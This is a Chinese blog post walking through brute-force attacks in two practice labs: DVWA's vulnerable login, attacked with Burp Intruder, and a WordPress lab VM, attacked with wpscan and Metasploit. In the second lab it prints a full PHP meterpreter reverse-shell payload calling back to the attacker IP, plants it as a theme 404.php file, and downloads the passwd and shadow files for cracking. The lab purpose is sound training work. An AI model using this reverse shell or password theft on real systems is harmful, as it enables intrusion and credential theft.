WEB安全实战（带靶场）–暴力破解

已于 2022-02-28 17:54:34 修改
阅读量6.3k 收藏 7
点赞数
分类专栏： 网络安全 文章标签： web安全
于 2022-02-28 17:50:41 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/renxq097/article/details/123185135
版权

WEB安全实战（带靶场）–暴力破解

靶场一：DVWA中的暴力破解

靶场二：靶场实验 暴力破解

暴力破解百度云链接（失效请在评论区通知）
链接：https://pan.baidu.com/s/1FcNFC27VFBfQy0ZMnB_TAg
提取码：1234

Brute Force（暴力破解）

Brute Force是指黑客利用密码字典，使用穷举法猜解出用户口令，是现在最为广泛使用的攻击手法之一，如2014年轰动全国的12306“撞库”事件，实质就是暴力破解攻击，Web安全中的暴力破解也是利用尝试所有的可能性最终获取正确的结果。

靶场一：DVWA中的暴力破解

DVWA暴力破解--low

源码解析
if( isset( $_GET[ 'Login' ] ) ) {
    # 获取用户名和密码
    $user = $_GET[ 'username' ];
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );
 
    # 查询验证用户名和密码
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
 
    if( $result && mysql_num_rows( $result ) == 1 ) {
      # 输出头像和用户名
      $avatar = mysql_result( $result, 0, "avatar" );
      echo "<p>Welcome to the password protected area {$user}</p>";
    }
    else {
        登录失败
    }
    mysql_close();
}

Isset

检测变量是否已声明并且其值不为 null
（https://www.php.net/manual/zh/function.isset.php）
若变量不存在则返回 FALSE 
若变量存在且其值为NULL，也返回 FALSE 
若变量存在且值不为NULL，则返回 TURE 
同时检查多个变量时，每个单项都符合上一条要求时才返回 TRUE，否则结果为 FALSE
如果已经使用 unset() 释放了一个变量之后，它将不再是 isset()。
若使用 isset() 测试一个被设置成 NULL 的变量，将返回 FALSE。同时要注意的是一个 NULL 字节（"\0"）并不等同于 PHP 的 NULL 常数。

$_GET 和 $_POST

PHP 超全局变量 $_GET 和 $_POST 用于收集表单数据
$_GET 是通过 URL 参数传递到当前脚本的变量数组。
$_POST 是通过 HTTP POST 传递到当前脚本的变量数组。

mysql_query() 函数

执行一条 MySQL 查询

mysql_error() 函数

返回上一个 MySQL 操作产生的文本错误信息。

mysql_num_rows() 函数

返回结果集中行的数目。

mysql_result()函数

返回结果集中一个字段的值，如果成功，则该函数返回字段值。如果失败，则返回 false。

综上所述：未做登录验证码以及登录次数限制，这是初级代码，还存在sql注入。

漏洞利用

第一步：使用burpsuite抓包
在这里插入图片描述

第二步：ctrl+I将包复制到intruder模块，因为要对username（为了节省时间这里直接用admin）和password参数进行爆破，所以在password参数的内容两边加$
在这里插入图片描述

第三步:选中Payloads，载入字典，点击Start attack进行爆破
在这里插入图片描述获取到密码为password

实验一结束

靶场二：靶场实验 暴力破解

实验环境

攻击机：kali
IP:192.168.31.15
在这里插入图片描述
靶场机器：暴力破解.ova(Ubuntu)
IP:192.168.31.86
在这里插入图片描述

信息探测

扫描主机服务信息以及服务版本

nmap -T4 -A -v 靶场IP地址

在这里插入图片描述

探测敏感信息

nikto -host http://靶场IP地址:端口

在这里插入图片描述

扫描网页目录(这里后期补充换了一下ip，不影响观看)

dirb http://ip:端口

在这里插入图片描述在这里插入图片描述

漏洞挖掘

打开WEB首页

在这里插入图片描述

查看站点敏感目录：/secret/

在这里插入图片描述

打开后台登录页面

在这里插入图片描述

漏洞利用

Wordpress用户名枚举（需要联网）

wpscan --url URL ----enumerate u

在这里插入图片描述

发现用户名admin
在这里插入图片描述

利用Metasploit 进行密码暴力破解

msfconsole

在这里插入图片描述

利用wordpress用户枚举模块
在这里插入图片描述在这里插入图片描述

msf6 > use auxiliary/scanner/http/wordpress_login_enum

在这里插入图片描述

#设置登陆名为admin
msf6 auxiliary(scanner/http/wordpress_login_enum) > set username admin   
                                                                                
#设置目标ip                                                                                                                   
msf6 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 192.168.31.86                                                                            

#设置目标目录为/secret/
msf6 auxiliary(scanner/http/wordpress_login_enum) > set targeturi /secret/

#设置字典文件路径                                                                                                                      
msf6 auxiliary(scanner/http/wordpress_login_enum) > set pass_file /usr/share/wordlists/dirb/common.txt      
                                                                                                                                                                                    
#开始攻击                                                                                                                                                                                                                           
msf6 auxiliary(scanner/http/wordpress_login_enum) > run

在这里插入图片描述

发现密码为admin
在这里插入图片描述

Tips：页面登陆 如果发现登陆页面跳转失败
在这里插入图片描述
修改host文件进行ip映射
在这里插入图片描述
顺利打开：用户名：admin 密码：admin
在这里插入图片描述
登陆成功
在这里插入图片描述

漏洞提权

生成webshell（php木马文件）

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.31.15 lport=4444 -f raw

在这里插入图片描述

源码附上

<?php /**/ error_reporting(0); $ip = '192.168.31.15'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

在这里插入图片描述

运行404.php文件

http://192.168.31.86/secret/wp-content/themes/twentyseventeen/404.php

在这里插入图片描述

Msf反弹shell
在这里插入图片描述在这里插入图片描述

下载用户密码以及影子文件进行破解
在这里插入图片描述
在这里插入图片描述
获取到用户名以及密码：marlinspike (marlinspike)

shell提权（利用python模块pty）

python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

切换为marlinspike用户
在这里插入图片描述

查看sudo权限
在这里插入图片描述
切换为root权限
在这里插入图片描述
在这里插入图片描述

获取到flag值 实验结束

Joe_RX
关注
  • 0
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
BurpSuite实战教程01-web渗透安全测试(靶场搭建及常见漏洞攻防)
zzz6583zz的博客
05-09 1273
渗透测试（Penetrationtest）即安全工程师模拟黑客，在合法授权范围内，通过信息搜集、漏洞挖掘、权限提升等行为，对目标对象进行安全测试（或攻击），最终找出安全风险并输出测试报告。Web渗透测试分为白盒测试和黑盒测试，白盒测试是指目标网站的源码等信息的情况下对其渗透，相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透。Web渗透分为以下几个步骤，信息收集，漏洞扫描，漏洞利用，提权，内网渗透，留后门，清理痕迹。
我的CTF学习与教学之旅笔记10
lm19770429的专栏
04-07 259
WEB安全暴力破解
Pikachu靶场-暴力破解~全网最最最最详细的教程！！！
最新发布
2301_77360738的博客
05-15 1837
超详细的pikachu靶场暴力破解教程，带你手把手体验爆破出用户名和密码的快乐，小白可入！！！
【Web爆破攻击实战】Web前端黑客技术解密
qq_53058639的博客
03-05 865
没学过的同学也不要慌，可以去B站搜索相关视频，你搜关键词网络安全工程师会出现很多相关的视频教程，我粗略的看了一下，排名第一的视频就讲的很详细。服务器每次返回登录页面都会给客户端产生一个随机的 Token 值，客户端登录时，需要携带该 Token，服务器如果检查发现用户携带的 Token 和它产生的不一样，就会判断为攻击行为，拒绝登录。从时代发展的角度看，网络安全的知识是学不完的，而且以后要学的会更多，同学们要摆正心态，既然选择入门网络安全，就不能仅仅只是入门程度而已，能力越强机会才越多。
Pikachu靶场-暴力破解
自强不息
12-28 1334
文笔生疏，措辞浅薄，望各位大佬不吝赐教，感激不尽。
web类靶机暴力破解
信息安全专题
10-21 253
信息探测 信息探测与之前的探测策略一样 深入挖掘 http://192.168.56.103/secret/ 但是这里并没有获取root权限，只是一个比普通用户权限，我们使用。 su - marlinspike sudo -l sudo bash 1 2 3 返回root权限了。 获取flag 总结 ...
高级二进制漏洞挖掘
02-19
讲师有着多年的渗透测试、逆向工程、病毒分析、移动安全、工控安全等领域的相关项目经验。同时讲师还对多所大学以及企业、事业进行过系统化培训。本课程从零基础开始教学，带领学员们进入二进制安全的世界。本课程包括基础的代码基础、漏洞原理、漏洞挖掘工具以及方法。本课程拥有多个实战教学让学员们从实战中学习二进制漏洞挖掘。
Web安全课程简单靶场.zip
01-16
靶场，是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中，靶场扮演着重要的角色，尤其是在网络安全领域，靶场成为培养和提高安全专业人员技能的重要平台。 首先，...
自搭建Web安全初学者靶场.zip
01-16
靶场，是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中，靶场扮演着重要的角色，尤其是在网络安全领域，靶场成为培养和提高安全专业人员技能的重要平台。 首先，...
一个web安全练习靶场.zip
01-16
靶场，是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中，靶场扮演着重要的角色，尤其是在网络安全领域，靶场成为培养和提高安全专业人员技能的重要平台。 首先，...
Web 安全靶场合集.zip
01-16
靶场，是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中，靶场扮演着重要的角色，尤其是在网络安全领域，靶场成为培养和提高安全专业人员技能的重要平台。 首先，...
PHP漏洞挖掘（四）：PHP漏洞靶场实战分析——课程资源百度网盘下载.txt
05-06
PHP漏洞挖掘（四）：PHP漏洞靶场实战分析——课程资源百度网盘下载，，亲测真实有效可用！包含视频+课程资料.zip，在知识星球中也分享了该资源，知识星球：W小哥
Web六大靶场靶场.rar
05-03
在靶场中，你可能会遇到的任务可能包括找出并利用XSS漏洞，然后修复它们，或者设置自己的防护机制，以提高对Web应用安全的理解和实战能力。总的来说，"Web六大靶场靶场.rar"提供了一个宝贵的平台，帮助你深入理解和...
计算机网络安全技术：web安全本地靶场介绍.pdf
05-12
web安全本地靶场介绍 DVWA 的拔草，这是一个经典的拔草。 这一个部署在了windows 2003 的虚拟机里面。2003 的虚拟机的好处就是比较省资源，比较省CPU 和内 存。然后通过虚拟主机的方式在NGX 的虚拟主机文 件里面有一...
Web安全靶场系统自动化部署平台.zip
01-16
靶场，是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中，靶场扮演着重要的角色，尤其是在网络安全领域，靶场成为培养和提高安全专业人员技能的重要平台。 首先，...
web安全-dvwa实战手
07-05
本文档旨在提供DVWA靶场的攻略和实践技巧，帮助用户更好地理解和应对Web应用程序漏洞，其主要分类为 1。DVWA部署暴力破解：介绍如何使用DVWA模拟暴力破解攻击，即通过尝试大量的用户名和密码组合来尝试登录系统，以...
暴力破解实战
qq_23347209的博客
05-29 652
文章目录环境准备一、服务器信息搜集二、网站信息搜集1.浏览网站2.nikto对网站目录进行扫描三、用msf模块破解密码——失败/(ㄒoㄒ)/~~四、使用burpsuite进行暴力破解——成功O(∩_∩)O五、msf框架的使用1、msf制作php木马2、建立木马监听端3、找路径访问——木马上线六、服务器提权 环境准备 靶场下载地址：https://download.vulnhub.com 使用Vmware虚拟机中NAT网络 靶机 marlinspike 192.168.146.151 攻击机1： parr
WEB漏洞渗透测试靶场整理资源
浪子燕青的博客
02-26 4501
WEB漏洞渗透测试靶场整理资源 在所有人目光之外，一个人无声的坍塌下去，像是被什么火烧尽了，只余下灰烬 整理了一些WEB漏洞本地靶场资源，包括针对性的漏洞专题如SQL注入，XSS等…以及合集类的如DVWA…集合下载地址附文末 DVWA(整合类) DVWA（Damn Vulnerable Web Application）是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用，旨在为安全专业人员测试自己的专业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。 包含漏洞
【靶场实战】Pikachu靶场暴力破解关卡详解
晚风不及你
01-31 976
Pikachu是一个带有漏洞的Web应用系统，在这里包含了常见的web安全漏洞。如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习，那么Pikachu可能正合你意。“暴力破解”是一攻击具手段，在web攻击中，一般会使用这种手段对应用系统的认证信息进行获取。其过程就是使用大量的认证信息在认证接口进行尝试登录，直到得到正确的结果。为了提高效率，暴力破解一般会使用带有字典的工具来进行自动化操作。
pikachu靶场暴力破解能得到的漏洞分析
05-30
首先需要说明的是，暴力破解是一种攻击手段，而不是一种漏洞。暴力破解通过尝试大量的可能性来猜测正确的用户名和密码，进而获取系统或应用的访问权限。因此，暴力破解的成功与否主要取决于目标系统或应用本身是否存在安全漏洞。 以下是一些可能导致暴力破解成功的漏洞： 1. 弱密码策略：如果目标系统或应用允许弱密码，例如只要求密码长度较短、字符种类较少，或者对密码强度没有强制要求，那么攻击者可以通过暴力破解来猜测出正确的密码。 2. 账户锁定策略不当：如果系统或应用在连续登录失败次数达到一定阈值之后不会锁定账户，或者锁定时间过短，那么攻击者可以通过不断尝试猜测用户名和密码，绕过账户锁定机制。 3. 信息泄露：如果目标系统或应用存在信息泄露风险，例如在登录页面或错误提示信息中暴露了用户名或密码相关的信息，那么攻击者可以利用泄露的信息来进行暴力破解攻击。 4. 暴力破解防护不足：如果目标系统或应用没有采取足够的防护措施，例如没有设置验证码或者设置了较简单的验证码，没有使用多因素认证等措施，那么攻击者可以通过暴力破解绕过这些防护措施。 总之，只有在目标系统或应用存在相关的安全漏洞时，暴力破解才有可能成功。因此，对于目标系统或应用，应该加强安全策略，修补漏洞，提高安全防范能力，避免被暴力破解攻击。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值